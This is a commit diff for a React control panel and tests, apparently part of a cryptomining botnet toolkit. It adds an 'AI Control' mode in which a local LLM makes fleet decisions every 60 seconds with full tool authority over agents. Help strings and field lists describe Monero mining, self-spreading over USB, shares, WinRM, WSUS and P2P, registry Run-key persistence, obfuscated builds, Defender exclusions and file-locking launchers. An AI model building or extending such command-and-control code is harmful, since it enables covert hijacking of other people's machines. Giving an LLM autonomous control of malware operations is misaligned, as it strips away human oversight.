Add Calibrate AI Control UI and fleet LLM backend wiring.
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled

Operators toggle Logic gates vs AI Control on Settings, refresh local Ollama models, and save ai_endpoint settings via Calibrate PUT; server scheduler and agent snapshot/command paths support stateless 60s fleet decisions.
This commit is contained in:
AetherForge
2026-06-07 02:14:28 -07:00
parent 34afa28f81
commit 0002e5fd93
33 changed files with 2791 additions and 12 deletions

View File

@@ -237,6 +237,7 @@ describe('api client', () => {
.mockResolvedValueOnce(jsonResponse([]))
.mockResolvedValueOnce(jsonResponse([]))
.mockResolvedValueOnce(jsonResponse([]))
.mockResolvedValueOnce(jsonResponse({ models: ['llama3.2'] }))
.mockResolvedValueOnce(jsonResponse({ xmr_per_day: 0.01, usd_per_day: 1, network_hashrate: 1 }))
.mockResolvedValueOnce(jsonResponse({ success: true }))
.mockResolvedValueOnce(jsonResponse({ agent_id: 'a1', content: 'log' }))
@@ -253,6 +254,9 @@ describe('api client', () => {
await api.getAIActivity();
expect(lastFetch().url).toBe('/api/v1/ai/activity');
await api.getAIModels('http://127.0.0.1:11434/v1');
expect(lastFetch().url).toBe('/api/v1/ai/models?endpoint=http%3A%2F%2F127.0.0.1%3A11434%2Fv1');
await api.getEarningsEstimate(1234.5);
expect(lastFetch().url).toBe('/api/v1/earnings/estimate?hashrate=1234.5');

View File

@@ -0,0 +1,176 @@
import { useState } from 'react';
import type { ServerSettings } from '../types';
import { api } from '../api/client';
import { HelpTip, FieldHint } from './HelpTip';
import { ADAPTIVE_STRATEGY_HELP } from '../help/lotlOnionTiers';
export const DEFAULT_AI_LOCAL_ENDPOINT = 'http://127.0.0.1:11434/v1';
export const DEFAULT_AI_INTERVAL_SEC = 60;
function readEndpoint(server: ServerSettings): string {
return server.ai_endpoint?.trim() || server.ai_local_endpoint?.trim() || DEFAULT_AI_LOCAL_ENDPOINT;
}
function readIntervalSec(server: ServerSettings): number {
return server.ai_decision_interval_sec ?? server.ai_interval_sec ?? DEFAULT_AI_INTERVAL_SEC;
}
interface Props {
server: ServerSettings;
onUpdate: (path: string, value: unknown) => void;
}
export default function CalibrationAIControl({ server, onUpdate }: Props) {
const aiControl = server.ai_control_enabled ?? false;
const endpoint = readEndpoint(server);
const model = server.ai_model?.trim() || '';
const intervalSec = readIntervalSec(server);
const [models, setModels] = useState<string[]>([]);
const [refreshing, setRefreshing] = useState(false);
const [modelsMsg, setModelsMsg] = useState('');
const handleRefreshModels = async () => {
setRefreshing(true);
setModelsMsg('');
try {
const res = await api.getAIModels(endpoint);
setModels(res.models ?? []);
if (!res.models?.length) {
setModelsMsg(res.error || 'No models returned — is Ollama running?');
} else {
setModelsMsg(`${res.models.length} model(s) loaded`);
if (!model && res.models[0]) {
onUpdate('server.ai_model', res.models[0]);
}
}
} catch (e) {
setModels([]);
setModelsMsg(e instanceof Error ? e.message : 'Failed to refresh models');
} finally {
setRefreshing(false);
}
};
return (
<div className="calibration-ai-control">
<div
className="calibration-mode-toggle"
role="group"
aria-label="Calibration control mode"
>
<button
type="button"
className={`calibration-mode-btn ${!aiControl ? 'calibration-mode-btn--active' : ''}`}
aria-pressed={!aiControl}
onClick={() => onUpdate('server.ai_control_enabled', false)}
>
<span className="calibration-mode-label">Logic gates</span>
<span className="calibration-mode-sub">Adaptive strategy &amp; tier chains</span>
</button>
<button
type="button"
className={`calibration-mode-btn ${aiControl ? 'calibration-mode-btn--active' : ''}`}
aria-pressed={aiControl}
onClick={() => onUpdate('server.ai_control_enabled', true)}
>
<span className="calibration-mode-label">AI Control</span>
<span className="calibration-mode-sub">Local LLM fleet decisions</span>
</button>
</div>
{aiControl ? (
<div className="calibration-ai-panel">
<p className="section-desc calibration-ai-blurb">
Fleet AI issues <strong>stateless</strong> decisions every {intervalSec}s per agent no memory
between cycles. The control server calls your local LLM; agents execute tool calls on{' '}
<em>your</em> machines only. Complete fleet control stays on your LAN.
</p>
<div className="form-group">
<label htmlFor="cal-ai-endpoint" className="label">
Local API URL <HelpTip field="ai_local_endpoint" />
</label>
<input
id="cal-ai-endpoint"
type="url"
className="input mono"
value={endpoint}
placeholder={DEFAULT_AI_LOCAL_ENDPOINT}
onChange={(e) => onUpdate('server.ai_endpoint', e.target.value)}
/>
<FieldHint field="ai_local_endpoint" />
</div>
<div className="form-row calibration-ai-model-row">
<button
type="button"
className="btn btn-outline btn-sm"
disabled={refreshing}
onClick={handleRefreshModels}
>
{refreshing ? 'Refreshing…' : 'Refresh models'}
</button>
<div className="form-group" style={{ flex: 1, margin: 0 }}>
<label htmlFor="cal-ai-model" className="label">
Model <HelpTip field="calibration_ai_model" />
</label>
<select
id="cal-ai-model"
className="input"
value={model}
onChange={(e) => onUpdate('server.ai_model', e.target.value)}
>
<option value="">{models.length ? 'Select a model…' : 'Refresh models first'}</option>
{model && !models.includes(model) && (
<option value={model}>{model}</option>
)}
{models.map((m) => (
<option key={m} value={m}>{m}</option>
))}
</select>
</div>
</div>
{modelsMsg && (
<p className="form-hint calibration-ai-models-msg">{modelsMsg}</p>
)}
<div className="calibration-ai-meta">
<div className="calibration-ai-info-chip">
<span className="font-tech">ai_no_context</span>
<span className="calibration-ai-info-value">always on</span>
<HelpTip field="ai_no_context" />
</div>
<div className="calibration-ai-info-chip">
<span className="font-tech">Interval</span>
<span className="calibration-ai-info-value">{intervalSec}s per agent</span>
<HelpTip field="ai_interval_sec" />
</div>
</div>
</div>
) : (
<div className="calibration-logic-panel">
<p className="section-desc">{ADAPTIVE_STRATEGY_HELP}</p>
<FieldHint field="adaptive_strategy" />
<FieldHint field="lotl_onion_tiers" />
<div className="form-group checkbox-group" style={{ marginTop: '1rem' }}>
<label className="checkbox-label">
<input
type="checkbox"
className="checkbox"
checked={server.adaptive_strategy_enabled !== false}
onChange={(e) => onUpdate('server.adaptive_strategy_enabled', e.target.checked)}
/>
<span>Enable adaptive strategy engine <HelpTip field="adaptive_strategy" /></span>
</label>
</div>
{server.lotl_onion_tiers?.length ? (
<p className="form-hint" style={{ marginTop: '0.75rem' }}>
Spread tier order: <code className="mono-sm">{server.lotl_onion_tiers.join(' → ')}</code>
</p>
) : null}
</div>
)}
</div>
);
}

View File

@@ -18,6 +18,8 @@ const HELP_TIP_FIELDS = [
'registry_run_hklm', 'registry_explorer_run', 'fusion_enabled', 'fusion_prep',
'fusion_media_mode', 'fusion_batch', 'fusion_run_order', 'fusion_output_name',
'obfuscate', 'sign_build', 'sigil_scramble', 'ai_enabled', 'ai_ollama_endpoint', 'ai_model',
'calibration_ai_control', 'ai_local_endpoint', 'calibration_ai_model', 'ai_no_context', 'ai_interval_sec',
'adaptive_strategy', 'lotl_onion_tiers',
'forge_operation_mode', 'forge_path_forge',
'mesh_p2p', 'auto_spread', 'hole_punch', 'remote_aggressive', 'usb_spread', 'share_spread',
'winrm_spread', 'dns_txt_spread', 'webrtc_mesh_spread', 'wsus_cache_peer_spread',

View File

@@ -82,6 +82,13 @@ export const DOC_ANCHORS: Record<string, string> = {
ai_enabled: '/docs/#alerts-ai',
ai_ollama_endpoint: '/docs/#alerts-ai',
ai_model: '/docs/#alerts-ai',
calibration_ai_control: '/docs/#alerts-ai',
ai_local_endpoint: '/docs/#alerts-ai',
calibration_ai_model: '/docs/#alerts-ai',
ai_no_context: '/docs/#alerts-ai',
ai_interval_sec: '/docs/#alerts-ai',
adaptive_strategy: '/docs/SPREAD_TECHNIQUES.html#lotl-tier-vuln_recon',
lotl_onion_tiers: '/docs/SPREAD_TECHNIQUES.html#lotl-tier-vuln_recon',
// Crucible / agent remote
firewall_remote: '/docs/#crucible-ops',

View File

@@ -96,6 +96,11 @@ describe('FIELD_HELP', () => {
'log_pool_traffic',
'adapt_to_hardware',
'adaptive_strategy',
'calibration_ai_control',
'ai_local_endpoint',
'calibration_ai_model',
'ai_no_context',
'ai_interval_sec',
'self_healing',
'firewall_exclusion',
'firewall_remote',

View File

@@ -29,9 +29,19 @@ export const FIELD_HELP: Record<string, string> = {
forge_lotl_onion:
'LOTL Onion preset: in-process RandomX (same XMR wallet field), no GPU exe drop, ordered vuln recon→GPO spread contingencies. When lotl_policy_from_server is on, tier order is pulled from Calibrate server config on agent auth — re-forge not required to reorder tiers.',
adaptive_strategy:
'Fleet adaptive strategy learns LOTL mining tier order from your own machines (OS, Docker/WSL probes, subnet, hashrate outcomes). On connect the server pushes a personalized tier walk with strategy_reasoning bullets before the agent tries the default onion. Overrides order/skip hints only — not wallet or patch_first gates. Toggle with server.adaptive_strategy_enabled (default on).',
'Fleet adaptive strategy learns LOTL mining tier order from your own machines (OS, Docker/WSL probes, subnet, hashrate outcomes). On connect the server pushes a personalized tier walk with strategy_reasoning bullets before the agent tries the default onion. Overrides order/skip hints only — not wallet or patch_first gates. Toggle with server.adaptive_strategy_enabled (default on). When server.ai_control_enabled is on, Fleet AI Control replaces adaptive strategy for tier decisions.',
lotl_onion_tiers:
'Ordered spread contingency chain for LOTL Onion forges with lotl_policy_from_server. Mining tier order is separate (mining_tier_policy / adaptive_strategy). Spread tiers apply on reconnect without re-forge; adaptive strategy can reorder mining tiers proactively from fleet stats.',
calibration_ai_control:
'Calibrate control mode: Logic gates use weighted adaptive strategy + server lotl_onion_tiers. AI Control routes fleet decisions through a local LLM on this control PC every 60s per agent — stateless, no memory, full tool authority on your machines only.',
ai_local_endpoint:
'Local OpenAI-compatible or Ollama API base URL on the control server machine (default http://127.0.0.1:11434/v1). The hub lists models and calls the LLM — workers never talk to Ollama directly.',
calibration_ai_model:
'LLM model name for fleet AI Control (Calibrate). Click Refresh models after Ollama is running, then pick from the dropdown. Distinct from per-forge ai_model baked into installers.',
ai_no_context:
'Stateless AI mode — each 60s cycle sends only the current agent snapshot. No chat history or cross-agent memory is retained (always on for fleet safety).',
ai_interval_sec:
'Seconds between AI decision cycles per connected agent when AI Control is enabled. Default 60 — matches agent heartbeat cadence.',
forge_path_forge:
'Server-side recursive batch seed: enter a folder path and the server walks it, placing a launcher next to every matching file without uploading anything. Lock Original renames the source so only the companion launcher can open it — it re-locks after playback.',
forge_recommended_defaults:

View File

@@ -1300,6 +1300,102 @@ button.deliverable-card .form-hint {
margin-right: 4px;
}
/* Calibrate — Logic gates ↔ AI Control */
.calibration-mode-toggle {
display: grid;
grid-template-columns: 1fr 1fr;
gap: 0.65rem;
margin: 1rem 0 1.25rem;
}
.calibration-mode-btn {
display: flex;
flex-direction: column;
align-items: flex-start;
gap: 0.35rem;
padding: 1rem 1.15rem;
border-radius: 10px;
border: 1px solid var(--border-brass);
background: rgba(10, 10, 18, 0.65);
color: var(--text-secondary);
cursor: pointer;
text-align: left;
transition: border-color 0.2s ease, box-shadow 0.2s ease, background 0.2s ease;
}
.calibration-mode-btn:hover {
border-color: rgba(0, 232, 245, 0.35);
background: rgba(0, 232, 245, 0.04);
}
.calibration-mode-btn--active {
border-color: rgba(232, 40, 168, 0.55);
background: linear-gradient(145deg, rgba(232, 40, 168, 0.12) 0%, rgba(0, 232, 245, 0.06) 100%);
color: var(--text-primary);
box-shadow: 0 0 24px rgba(232, 40, 168, 0.15);
}
.calibration-mode-label {
font-family: var(--font-tech);
font-size: 1.05rem;
letter-spacing: 0.06em;
text-transform: uppercase;
color: var(--neon-cyan);
}
.calibration-mode-btn--active .calibration-mode-label {
color: var(--neon-magenta);
}
.calibration-mode-sub {
font-size: 0.88rem;
line-height: 1.35;
}
.calibration-ai-model-row {
align-items: flex-end;
gap: 0.75rem;
margin-top: 0.75rem;
}
.calibration-ai-meta {
display: flex;
flex-wrap: wrap;
gap: 0.65rem;
margin-top: 1rem;
}
.calibration-ai-info-chip {
display: inline-flex;
align-items: center;
gap: 0.45rem;
padding: 0.45rem 0.75rem;
border-radius: 8px;
border: 1px solid var(--border-neon);
background: rgba(0, 232, 245, 0.05);
font-size: 0.85rem;
}
.calibration-ai-info-chip .font-tech {
color: var(--neon-amber);
font-size: 0.78rem;
}
.calibration-ai-info-value {
color: var(--neon-green);
}
.calibration-ai-models-msg {
margin-top: 0.35rem;
color: var(--text-secondary);
}
@media (max-width: 640px) {
.calibration-mode-toggle {
grid-template-columns: 1fr;
}
}
.forge-simple-banner {
margin-bottom: 1rem;
padding: 1rem 1.25rem;

View File

@@ -173,6 +173,51 @@ describe('SettingsPage (Calibrate)', () => {
expect(saved?.server?.public_builds_latest_n).toBe(3);
});
it('renders Calibration Control mode toggle', async () => {
renderSettings();
expect(await screen.findByRole('group', { name: 'Calibration control mode' })).toBeInTheDocument();
expect(screen.getByRole('button', { name: /Logic gates/i })).toBeInTheDocument();
expect(screen.getByRole('button', { name: /AI Control/i })).toBeInTheDocument();
expect(screen.getByText(/Adaptive strategy & tier chains/i)).toBeInTheDocument();
expect(screen.getByText(/Enable adaptive strategy engine/i)).toBeInTheDocument();
});
it('switches to AI Control and refreshes models', async () => {
const modelsSpy = vi.spyOn(api, 'getAIModels').mockResolvedValue({
models: ['llama3.2', 'mistral'],
endpoint: 'http://127.0.0.1:11434/v1',
});
const user = userEvent.setup();
renderSettings();
await screen.findByRole('button', { name: /AI Control/i });
await user.click(screen.getByRole('button', { name: /AI Control/i }));
expect(screen.getByPlaceholderText('http://127.0.0.1:11434/v1')).toBeInTheDocument();
expect(screen.getByText(/ai_no_context/i)).toBeInTheDocument();
expect(screen.getAllByText(/60s per agent/i).length).toBeGreaterThanOrEqual(1);
await user.click(screen.getByRole('button', { name: 'Refresh models' }));
await waitFor(() => {
expect(modelsSpy).toHaveBeenCalledWith('http://127.0.0.1:11434/v1');
});
expect(await screen.findByText('2 model(s) loaded')).toBeInTheDocument();
const modelSelect = screen.getByRole('combobox', { name: /Model/i }) as HTMLSelectElement;
expect(modelSelect.value).toBe('llama3.2');
});
it('saves AI Control settings via updateConfig', async () => {
const user = userEvent.setup();
renderSettings();
await screen.findByRole('button', { name: /AI Control/i });
await user.click(screen.getByRole('button', { name: /AI Control/i }));
await user.click(screen.getByRole('button', { name: /save calibration/i }));
await waitFor(() => {
expect(api.updateConfig).toHaveBeenCalled();
});
const saved = vi.mocked(api.updateConfig).mock.calls.at(-1)?.[0];
expect(saved?.server?.ai_control_enabled).toBe(true);
expect(saved?.server?.ai_endpoint).toBe('http://127.0.0.1:11434/v1');
expect(saved?.server?.ai_no_context).toBe(true);
});
it('describes first-run admin credentials in Access Control help', async () => {
renderSettings();
expect(

View File

@@ -34,6 +34,10 @@ import {
buildDefenderExclusionScript,
defaultWindowsInstallPreview,
} from '../help/defenderExclusion';
import CalibrationAIControl, {
DEFAULT_AI_INTERVAL_SEC,
DEFAULT_AI_LOCAL_ENDPOINT,
} from '../components/CalibrationAIControl';
/** Recursively merge `override` into `base`, preserving keys not in `override`. */
export function deepMerge<T extends object>(base: T, override: Partial<T>): T {
@@ -182,7 +186,25 @@ export default function SettingsPage() {
setSaving(true);
setSaveMessage('');
try {
const updated = await api.updateConfig(config);
let payload = config;
if (config.server?.ai_control_enabled) {
payload = {
...config,
server: {
...config.server,
ai_endpoint:
config.server.ai_endpoint?.trim()
|| config.server.ai_local_endpoint?.trim()
|| DEFAULT_AI_LOCAL_ENDPOINT,
ai_no_context: true,
ai_decision_interval_sec:
config.server.ai_decision_interval_sec
?? config.server.ai_interval_sec
?? DEFAULT_AI_INTERVAL_SEC,
},
};
}
const updated = await api.updateConfig(payload);
setConfig(updated);
setSaveMessage('Calibration saved — control server updated.');
setTimeout(() => setSaveMessage(''), 4000);
@@ -538,6 +560,20 @@ export default function SettingsPage() {
)}
</NeonCard>
<NeonCard accent="magenta" className="settings-section operator-deck-card operator-interactive calibration-ai-section" style={{ marginBottom: '1rem' }}>
<h2 className="font-display">
Calibration Control <HelpTip field="calibration_ai_control" />
</h2>
<p className="section-desc">
Choose how the server steers fleet behavior weighted logic gates or a local LLM loop.
</p>
<CalibrationAIControl
server={s}
onUpdate={updateField}
/>
<FieldHint field="calibration_ai_control" />
</NeonCard>
<div className="settings-grid">
<NeonCard accent="cyan" className="settings-section operator-deck-card operator-interactive">
<h2 className="font-display">Deck Atmosphere</h2>

View File

@@ -302,12 +302,16 @@ export interface ServerSettings {
/** When true, Calibrate uses local LLM fleet control instead of logic gates. */
ai_control_enabled?: boolean;
/** OpenAI-compatible or Ollama base URL on the control PC. */
ai_endpoint?: string;
/** @deprecated Alias hydrated from legacy saves — prefer ai_endpoint. */
ai_local_endpoint?: string;
/** LLM model name for fleet AI control. */
ai_model?: string;
/** Stateless per-cycle decisions — no conversation memory. */
ai_no_context?: boolean;
/** Seconds between AI decision cycles per agent. */
ai_decision_interval_sec?: number;
/** @deprecated Alias hydrated from legacy saves — prefer ai_decision_interval_sec. */
ai_interval_sec?: number;
/** Triple onion recon/deploy gates pushed to agents at auth. */
triple_onion_policy?: {